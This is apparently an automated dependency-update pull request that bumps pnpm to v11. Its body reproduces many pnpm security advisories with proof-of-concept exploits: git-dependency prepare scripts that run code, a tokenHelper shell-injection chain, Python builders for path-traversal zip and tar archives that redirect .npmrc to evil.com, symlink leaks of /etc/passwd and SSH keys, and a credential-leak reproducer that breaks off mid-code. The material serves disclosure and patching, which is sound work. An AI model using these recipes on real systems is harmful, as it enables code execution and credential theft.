Skip to content

Update dependency pnpm to v11 [SECURITY]#10

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-pnpm-vulnerability
Open

Update dependency pnpm to v11 [SECURITY]#10
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-pnpm-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jun 27, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
pnpm (source) 1011.5.3 age confidence

pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default"

CVE-2025-69264 / GHSA-379q-355j-w6rj

More information

Details

pnpm v10+ Git Dependency Script Execution Bypass
Summary

A security bypass vulnerability in pnpm v10+ allows git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval.

Details

pnpm v10 introduced a security feature to disable dependency lifecycle scripts by default (PR #​8897). This is implemented by setting onlyBuiltDependencies = [] when no build policy is configured:

File: pkg-manager/core/src/install/extendInstallOptions.ts (lines 290-291)

if (opts.neverBuiltDependencies == null && opts.onlyBuiltDependencies == null && opts.onlyBuiltDependenciesFile == null) {
  opts.onlyBuiltDependencies = []
}

This creates an allowlist that blocks all packages from running scripts during the BUILD phase in exec/build-modules/src/index.ts.

However, git-hosted dependencies are processed differently. During the FETCH phase, git packages are prepared using preparePackage():

File: exec/prepare-package/src/index.ts (lines 28-57)

export async function preparePackage (opts: PreparePackageOptions, gitRootDir: string, subDir: string) {
  // ...
  if (opts.ignoreScripts) return { shouldBeBuilt: true, pkgDir }  // Only checks ignoreScripts, not onlyBuiltDependencies

  const execOpts: RunLifecycleHookOptions = {
    // ...
    rawConfig: omit(['ignore-scripts'], opts.rawConfig),  // Explicitly removes ignore-scripts!
  }

  // Runs npm/pnpm install
  await runLifecycleHook(installScriptName, manifest, execOpts)

  // Runs prepare scripts
  for (const scriptName of PREPUBLISH_SCRIPTS) {  // ['prepublish', 'prepack', 'publish']
    await runLifecycleHook(newScriptName, manifest, execOpts)
  }
}

The ignoreScripts option defaults to false and is completely separate from onlyBuiltDependencies. The onlyBuiltDependencies allowlist is never consulted during the fetch phase.

Affected scripts that execute during fetch:

  • prepare
  • prepublish
  • prepack

Attack vectors:

  • git+https://github.com/attacker/malicious.git
  • github:attacker/malicious
  • gitlab:attacker/malicious
  • bitbucket:attacker/malicious
  • git+ssh://git@github.com/attacker/malicious.git
  • git+file:///path/to/local/repo
PoC

Prerequisites:

  • pnpm v10.0.0 or later (tested on v10.23.0 and v11.0.0-alpha.1)
  • git

Steps to reproduce:

  1. Extract the attached poc.zip

  2. Run the PoC script:

    cd poc
    chmod +x run-poc.sh
    ./run-poc.sh
  3. Verify the marker file was created by the malicious script:

    cat /tmp/pnpm-vuln-poc-marker.txt

Manual reproduction:

  1. Create a malicious package with a prepare script:

    {
      "name": "malicious-pkg",
      "version": "1.0.0",
      "scripts": {
        "prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned.txt', 'RCE!')\""
      }
    }
  2. Initialize it as a git repo and commit the files

  3. Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball):

    {
      "dependencies": {
        "malicious-pkg": "git+file:///path/to/malicious-pkg"
      }
    }
  4. Run pnpm install - the prepare script executes without any warning or approval prompt

Impact

Severity: High

Who is impacted:

  • All pnpm v10+ users
  • Users who believed they were protected by the v10 "scripts disabled by default" feature
  • CI/CD pipelines

Attack scenarios:

  1. Supply chain attack: An attacker compromises a dependency, adding to it a malicious git dependency that executes arbitrary code during pnpm install

What an attacker can do:

  • Execute arbitrary code with the victim's privileges
  • Exfiltrate environment variables, secrets, and credentials
  • Modify source code or inject backdoors
  • Establish persistence or reverse shells
  • Access the filesystem and network

Why this bypasses security expectations:

  • pnpm v10 changelog explicitly states "Lifecycle scripts of dependencies are not executed during installation by default"
  • Users expect git dependencies to follow the same security model as npm registry packages
  • There is no warning that git dependencies are treated differently
  • The onlyBuiltDependencies configuration does not affect git dependencies

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm Has Lockfile Integrity Bypass that Allows Remote Dynamic Dependencies

CVE-2025-69263 / GHSA-7vhp-vf5g-r2fw

More information

Details

Summary

HTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed.

Details

When a package depends on an HTTP tarball URL, pnpm's tarball resolver returns only the URL without computing an integrity hash:

resolving/tarball-resolver/src/index.ts:

return {
  resolution: {
    tarball: resolvedUrl,
    // No integrity field
  },
  resolvedVia: 'url',
}

The resulting lockfile entry has no integrity to verify:

remote-dynamic-dependency@http://example.com/pkg.tgz:
  resolution: {tarball: http://example.com/pkg.tgz}
  version: 1.0.0

Since there is no integrity hash, pnpm cannot detect when the server returns different content.

This affects:

  • HTTP/HTTPS tarball URLs ("pkg": "https://example.com/pkg.tgz")
  • Git shorthand dependencies ("pkg": "github:user/repo")
  • Git URLs ("pkg": "git+https://github.com/user/repo")

npm registry packages are not affected as they include integrity hashes from the registry metadata.

PoC

See attached pnpm-bypass-integrity-poc.zip

The POC includes:

  • A server that returns different tarball content on each request
  • A malicious-package that depends on the HTTP tarball
  • A victim project that depends on malicious-package

To run:

cd pnpm-bypass-integrity-poc
./run-poc.sh

The output shows that each install (with pnpm store prune between them) downloads different code despite having a committed lockfile.

Impact

An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables:

  • Targeted attacks based on request metadata (IP, headers, timing)
  • Evasion of security audits (serve benign code during review, malicious code later)
  • Supply chain attacks where the malicious payload changes over time

The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm vulnerable to Command Injection via environment variable substitution

CVE-2025-69262 / GHSA-2phv-j68v-wwqx

More information

Details

Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

Affected Components
  • Package: pnpm
  • Versions: All versions using @pnpm/config.env-replace and loadToken functionality
  • File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function
  • File: pnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution
Technical Details
Vulnerability Chain
  1. Environment Variable Substitution

    • .npmrc supports ${VAR} syntax
    • Substitution occurs in readLocalConfig()
  2. loadToken Execution

    • Uses spawnSync(helperPath, { shell: true })
    • Only validates absolute path existence
  3. Attack Flow

.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
   ↓
envReplace() → /tmp/evil-helper.sh
   ↓
loadToken() → spawnSync(..., { shell: true })
   ↓
RCE achieved
Code Evidence

pnpm/config/config/src/readLocalConfig.ts:17-18

key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)

pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71

export function loadToken(helperPath: string, settingName: string): string {
  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
  }
  const spawnResult = spawnSync(helperPath, { shell: true })
  // ...
}
Proof of Concept
Prerequisites
  • Private npm registry access
  • Control over environment variables
  • Ability to place scripts in filesystem
PoC Steps
##### 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'

#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh

##### 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF

##### 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh

##### 4. Trigger pnpm install
pnpm install  # RCE occurs during auth

##### 5. Verify attack
cat /tmp/rce-log.txt
PoC Results
==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed
Impact
Severity
  • CVSS Score: 7.6 (High)
  • CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected Environments

High Risk:

  • CI/CD pipelines (GitHub Actions, GitLab CI)
  • Docker build environments
  • Kubernetes deployments
  • Private registry users

Low Risk:

  • Public registry only
  • Production runtime (no pnpm execution)
  • Static sites
Attack Scenarios

Scenario 1: CI/CD Supply Chain

Repository → Build Trigger → pnpm install → RCE → Production Deploy

Scenario 2: Docker Build

FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install  # RCE

Scenario 3: Kubernetes

Secret Control → Env Variable → .npmrc Substitution → RCE
Mitigation
Temporary Workarounds

Disable tokenHelper:

##### .npmrc
##### registry.npmjs.org/:tokenHelper=${HELPER_PATH}

Use direct tokens:

//registry.npmjs.org/:_authToken=YOUR_TOKEN

Audit environment variables:

  • Review CI/CD env vars
  • Restrict .npmrc changes
  • Monitor build logs
Recommended Fixes
  1. Remove shell: true from loadToken
  2. Implement helper path allowlist
  3. Validate substituted paths
  4. Consider sandboxing
Disclosure
  • Discovery: 2025-11-02
  • PoC: 2025-11-02
  • Report: [Pending disclosure decision]
References
Credit

Reported by: Jiyong Yang
Contact: sy2n0@​naver.com

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)

CVE-2026-23888 / GHSA-6pfh-p556-v868

More information

Details

Summary

A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.

Details

The vulnerability exists in the binary fetching and extraction logic:

1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)

AdmZip's extractAllTo does not validate entry paths for path traversal:

const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true)  // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)

A ZIP entry with path ../../../.npmrc will be written outside nodeDir.

2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)

The basename variable comes from BinaryResolution.prefix and is used directly in path construction:

const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir
PoC

Attack Vector 1: ZIP Entry Path Traversal

import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    # Normal file
    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
    # Malicious path traversal entry
    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')

with open('malicious-node.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

Attack Vector 2: Prefix Traversal via malicious resolution:

{
  "resolution": {
    "type": "binary",
    "url": "https://attacker.com/node.zip",
    "prefix": "../../PWNED"
  }
}
Impact
  • All pnpm users who install packages with binary assets
  • Users who configure custom Node.js binary locations
  • CI/CD pipelines that auto-install binary dependencies
  • Can overwrite config files, scripts, or other sensitive files leading to RCE

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm has Windows-specific tarball Path Traversal

CVE-2026-23889 / GHSA-6x96-7vc8-cm3p

More information

Details

Summary

A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details

1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

if (fileName.includes('./')) {
  fileName = path.posix.join('/', fileName).slice(1)
}

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

  • On Unix: Backslashes are literal filename characters (safe)
  • On Windows: Backslashes are directory separators (exploitable)
PoC
  1. Create a malicious tarball with entry package/foo\..\..\.npmrc
  2. Host it or use as a tarball URL dependency
  3. On Windows: pnpm install
  4. Observe .npmrc written outside package directory
import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
    pkg_info = tarfile.TarInfo(name='package/package.json')
    pkg_info.size = len(pkg_json)
    tar.addfile(pkg_info, io.BytesIO(pkg_json))

    malicious_content = b'registry=https://evil.com/\n'
    mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
    mal_info.size = len(malicious_content)
    tar.addfile(mal_info, io.BytesIO(malicious_content))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
    f.write(tar_buffer.getvalue())
Impact
  • Windows pnpm users
  • Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
  • Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin

CVE-2026-23890 / GHSA-xpqm-wm3m-f34h

More information

Details

Summary

A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of node_modules/.bin. Bin names starting with @ bypass validation, and after scope normalization, path traversal sequences like ../../ remain intact.

Details

The vulnerability exists in the bin name validation and normalization logic:

1. Validation Bypass (pkg-manager/package-bins/src/index.ts)

The filter allows any bin name starting with @ to pass through without validation:

.filter((commandName) =>
  encodeURIComponent(commandName) === commandName ||
  commandName === '' ||
  commandName[0] === '@&#8203;'  // <-- Bypasses validation
)

2. Incomplete Normalization (pkg-manager/package-bins/src/index.ts)

function normalizeBinName (name: string): string {
  return name[0] === '@&#8203;' ? name.slice(name.indexOf('/') + 1) : name
}
// Input:  @&#8203;scope/../../evil
// Output: ../../evil  <-- Path traversal preserved!

3. Exploitation (pkg-manager/link-bins/src/index.ts:288)

The normalized name is used directly in path.join() without validation.

PoC
  1. Create a malicious package:
{
  "name": "malicious-pkg",
  "version": "1.0.0",
  "bin": {
    "@&#8203;scope/../../.npmrc": "./malicious.js"
  }
}
  1. Install the package:
pnpm add /path/to/malicious-pkg
  1. Observe .npmrc created in project root (outside node_modules/.bin).
Impact
  • All pnpm users who install npm packages
  • CI/CD pipelines using pnpm
  • Can overwrite config files, scripts, or other sensitive files

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm has symlink traversal in file:/git dependencies

CVE-2026-24056 / GHSA-m733-5w8f-5ggw

More information

Details

Summary

When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.

Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.

Details

The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:

const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath)  // Follows symlinks!
const buffer = fs.readFileSync(absolutePath)  // Reads symlink TARGET

There is no check that absolutePath resolves to a location inside the package directory.

PoC
##### Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json

##### Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil

##### Leaked!
cat node_modules/evil/leaked-passwd.txt
Impact
  • Developers installing local/file dependencies
  • CI/CD pipelines installing git dependencies
  • Credential theft via symlinks to ~/.aws/credentials, ~/.npmrc, ~/.ssh/id_rsa
Suggested Fix

Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.

Severity

  • CVSS Score: 6.7 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm has Path Traversal via arbitrary file permission modification

CVE-2026-24131 / GHSA-v253-rj99-jwpq

More information

Details

Summary

When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.

Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).

Details

Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION
  const files = await findFiles(binDir)
  // ... files outside package returned, then chmod 755'd
}

The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.

PoC
##### Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json

##### Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh  # Private

##### Install
pnpm add file:/tmp/malicious-pkg

##### Check permissions
ls -la /tmp/target/secret.sh  # Now 755 (world-readable)
Impact
  • Supply-chain attack via npm packages
  • File permissions changed from 600 to 755 (world-readable)
  • Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)
Suggested Fix

Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)
  if (!isSubdir(pkgPath, binDir)) {
    return []  // Reject paths outside package
  }
  // ...
}

Severity

  • CVSS Score: 6.7 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Tarball hash of GitHub git dependencies is not stored in lockfile

CVE-2026-48995 / GHSA-hg3w-7f8c-63hp

More information

Details

Summary

A malicious codeload.github.com server can serve whatever tarball it wants and pnpm will install it regardless of the lockfile.

Details

The lockfile does not store the hash of the dependencies from https://codeload.github.com

This means that if this server was compromised or a person's machine configuration was compromised, pnpm would download and install these dependencies.

PoC
> pnpm -v     
10.28.2

Given the following package.json:

{
  "dependencies": {
    "add": "git://github.com/dsherret/npm-git-dep.git#b3eeb9b"
  }
}

This produces a lockfile like so:

lockfileVersion: '9.0'

settings:
  autoInstallPeers: true
  excludeLinksFromLockfile: false

importers:

  .:
    dependencies:
      add:
        specifier: git://github.com/dsherret/npm-git-dep.git#b3eeb9b
        version: https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b

packages:

  add@https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b:
    resolution: {tarball: https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b}
    version: 1.0.0

snapshots:

  add@https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b: {}

Notice that there is no hash. The b3eeb9b is not sufficient because I can configure my machine to resolve a compromised tarball from that url (I tested it out and pnpm just installs it).

Impact

Anyone relying on github git dependencies.

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Unsafe default behavior breaks integrity check

CVE-2026-50573 / GHSA-54hh-g5mx-jqcp

More information

Details

While it is unclear whether this should be classified as a vulnerability, it is being reported through this channel because the current behavior may represent an unsafe default.

Summary

pnpm install in non-frozen mode can accept new remote package content after detecting that the downloaded tarball does not match the integrity recorded in pnpm-lock.yaml.

When a package is already locked with an integrity value, and the registry later serves different metadata and tarball content for the same package name and version, pnpm initially reports an integrity mismatch. However, plain pnpm install then performs a resolution repair, accepts the registry's new integrity, updates the lockfile, installs the new content, and exits successfully.

This means the lockfile integrity check does not act as a hard stop by default.

Reproduction Scenario
  1. Run a local npm-compatible registry.
  2. Publish or serve example-package@1.0.0 with tarball content v1.
  3. Install it with pnpm:
pnpm add example-package@1.0.0 --registry=http://127.0.0.1:48741
  1. Confirm pnpm-lock.yaml contains the v1 integrity:
packages:
  example-package@1.0.0:
    resolution:
      integrity: sha512-...v1...
  1. Change the registry metadata and tarball for the same example-package@1.0.0 to content v2.
  2. On a clean store/cache, run:
pnpm install --registry=http://127.0.0.1:48741
Observed Behavior

pnpm detects the checksum mismatch:

WARN Got unexpected checksum for "http://127.0.0.1:48741/example-package/-/example-package-1.0.0.tgz".
Wanted "sha512-...v1..."
Got "sha512-...v2...".

ERR_PNPM_TARBALL_INTEGRITY The lockfile is broken! Resolution step will be performed to fix it.

However, the install still succeeds:

INSTALL_RC=0
INSTALLED=v2-replaced

The lockfile is then rewritten to trust the new remote integrity:

packages:
  example-package@1.0.0:
    resolution:
      integrity: sha512-...v2...
Expected Behavior

If a downloaded tarball does not match the integrity recorded in pnpm-lock.yaml, the install should fail by default.

The lockfile integrity should be treated as authoritative unless the user explicitly requests lockfile repair or dependency update behavior.

Security Impact

This behavior weakens the protection normally expected from a committed lockfile.

If a registry is compromised and an attacker overwrites the metadata and tarball for an existing package version, a new environment without the old pnpm store/cache may install the attacker's replacement package even though the project already has a lockfile with the original integrity.

Examples of affected new or clean environments include:

  • an engineer setting up the project on a new machine
  • a new team member onboarding to the project

In this situation, pnpm first detects that the downloaded tarball does not match the integrity stored in pnpm-lock.yaml. However, instead of failing by default, plain pnpm install performs a resolution repair, trusts the current remote registry metadata, updates the lockfile to the new integrity, and installs the new registry content.

In other words, when the lockfile and registry disagree, the default non-frozen behavior can end up trusting the remote registry over the content previously recorded in the lockfile.

This is especially relevant for:

  • private registries that allow overwriting or republishing the same version
  • registry mirrors or proxies that can serve changed metadata and tarballs
  • compromised public or private registries
  • compromised registry proxy infrastructure

The behavior is also surprising because the command reports an integrity error but still exits successfully after resolution repair.

This issue does not occur when --frozen-lockfile is enabled. In frozen mode, the same integrity mismatch fails the install and does not install the changed package content.

However, since the lockfile already records an integrity value, the integrity for the same package version should normally not change. If it does change, one likely explanation is that the server or registry has been compromised or is serving mutated package content. Under normal package publishing workflows, changed package content should be published as a new version instead of replacing an existing version.

For that reason, it may be safer for pnpm's default behavior to be closer to frozen mode for this specific case. At minimum, pnpm should not automatically repair the lockfile and trust the registry after an integrity mismatch. It should fail and let the user explicitly decide whether to discard the locked integrity, re-resolve the package from the remote registry, and update the lockfile.

Comparison

In the same scenario, npm install with an existing package-lock.json fails with EINTEGRITY and does not install the changed tarball.

pnpm install --frozen-lockfile also fails as expected:

ERR_PNPM_TARBALL_INTEGRITY

The issue is specific to the default non-frozen behavior of plain pnpm install in non-CI environment.

Severity

  • CVSS Score: 6.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm binds unscoped user-level npm auth credentials to a repository-selected registry

CVE-2026-50017 / GHSA-cjhr-43r9-cfmw

More information

Details

Summary

pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local .npmrc file.

In the reproduced case, the user's npm config contains a default registry and an unscoped _authToken. The repository does not provide a token-bearing auth line. It only sets registry= to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an Authorization header.

This was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used.

Affected Behavior Observed

Observed affected:

  • pnpm 10.33.2: pnpm install --ignore-scripts sends the user-level unscoped _authToken to the repository-selected registry.
  • pnpm 11.1.3: pnpm install --ignore-scripts sends the user-level unscoped _authToken to the repository-selected registry.
  • pnpm 11.2.1 (next-11 dist tag at testing time): pnpm install --ignore-scripts sends the user-level unscoped _authToken to the repository-selected registry.
  • pnpm 11.1.3: pnpm view also sends user-level unscoped _authToken, _auth, and username / _password credentials to the repository-selected registry in the local loopback replay.

Control:

  • npm 10.9.7 rejects the same unscoped user _authToken configuration with ERR_INVALID_AUTH and does not send an Authorization header to the repository-selected registry.
  • URL-scoped registry token controls held in the local loopback replay: tokens scoped to the trusted registry URL were not sent to the attacker registry.
Threat Model

Victim:

  • developer or CI job with user-level npm registry credentials configured;
  • runs pnpm install, pnpm view, or an equivalent pnpm metadata/restore command in a repository.

Attacker:

  • controls repository-local package manager configuration, such as .npmrc;
  • can set registry= to a registry endpoint they control;
  • does not need to provide a token-bearing auth line for the strong case.

Boundary:

Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry.

Minimal Reproduction

The reproducer below starts two loopback HTTP registries:

  • a trusted registry URL used in the isolated user .npmrc;
  • an attacker registry URL used in the repository-local .npmrc.

The isolated user .npmrc contains:

registry=<trusted-loopback-registry>
_authToken=PR166_FAKE_REGISTRY_TOKEN

The repository-local .npmrc contains:

registry=<attacker-loopback-registry>

The repository package.json depends on a toy package served by the loopback registry. The script then runs:

pnpm install --ignore-scripts
npm install --ignore-scripts
Expected Safe Behavior

pnpm should not send the user-level unscoped _authToken to the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry.

Observed Behavior

pnpm 10.33.2, pnpm 11.1.3, and pnpm 11.2.1 send:

Authorization: Bearer PR166_FAKE_REGISTRY_TOKEN

to the attacker loopback registry during install. npm 10.9.7 rejects the same config and sends no Authorization header.

Security Impact

This can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution.

Non-Claims

This report does not claim:

  • remote code execution;
  • registry account compromise by itself;
  • leakage of URL-scoped tokens for a different registry;
  • npm CLI impact;
  • impact from a repository explicitly committing its own token-bearing auth
    line.
Source-Level Notes

In pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local .npmrc can change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice.

Suggested Fix Direction

The conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped
credentials.

This needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth.

Runnable Reproducer

Save the following as repro.py and run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, set PR166_PNPM_SPEC, for example PR166_PNPM_SPEC=11.2.1.

import base64
import contextlib
import hashlib
import http.server
import io
import json
import os
import shutil
import subprocess
import sys
import tarfile
import tempfile
import threading
from pathlib import Path

"""Standalone loopback reproducer.

It creates only temporary directories and loopback HTTP servers. Cleanup is handled by TemporaryDirectory context managers and registry shutdown handlers; no persistent state is expected outside the package-manager cache directories inside the temporary home. Non-claims: this does not use real credentials, third-party registries, package scripts, or remote services. Failure paths return exit 1 or exit 2 through sys.exit(main()).
"""

TOKEN = "PR166_FAKE_REGISTRY_TOKEN"
PACKAGE_TGZ = None

class RegistryHandler(http.server.BaseHTTPRequestHandler):
    requests = []

    def do_GET(self):
        self.requests.append(
            {
                "method": self.command,
                "path": self.path,
                "authorization": self.headers.get("Authorization"),
            }
        )
        if self.path.endswith(".tgz"):
            payload = make_package_tgz()
            self.send_response(200)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header("Content-Length", str(len(payload)))
            self.end_headers()
            self.wfile.write(payload)
            return

        payload = make_package_tgz()
        body = json.dumps(
            {
                "name": "@&#8203;private/probe",
                "dist-tags": {"latest": "1.0.0"},
                "versions": {
                    "1.0.0": {
                        "name": "@&#8203;private/probe",
                        "version": "1.0.0",
                        "dist": {
                            "tarball": f"http://127.0.0.1:{self.server.server_port}/private/@&#8203;private/probe/-/probe-1.0.0.tgz",
                            "shasum": hashlib.sha1(payload).hexdigest(),
                            "integrity": "sha512-"
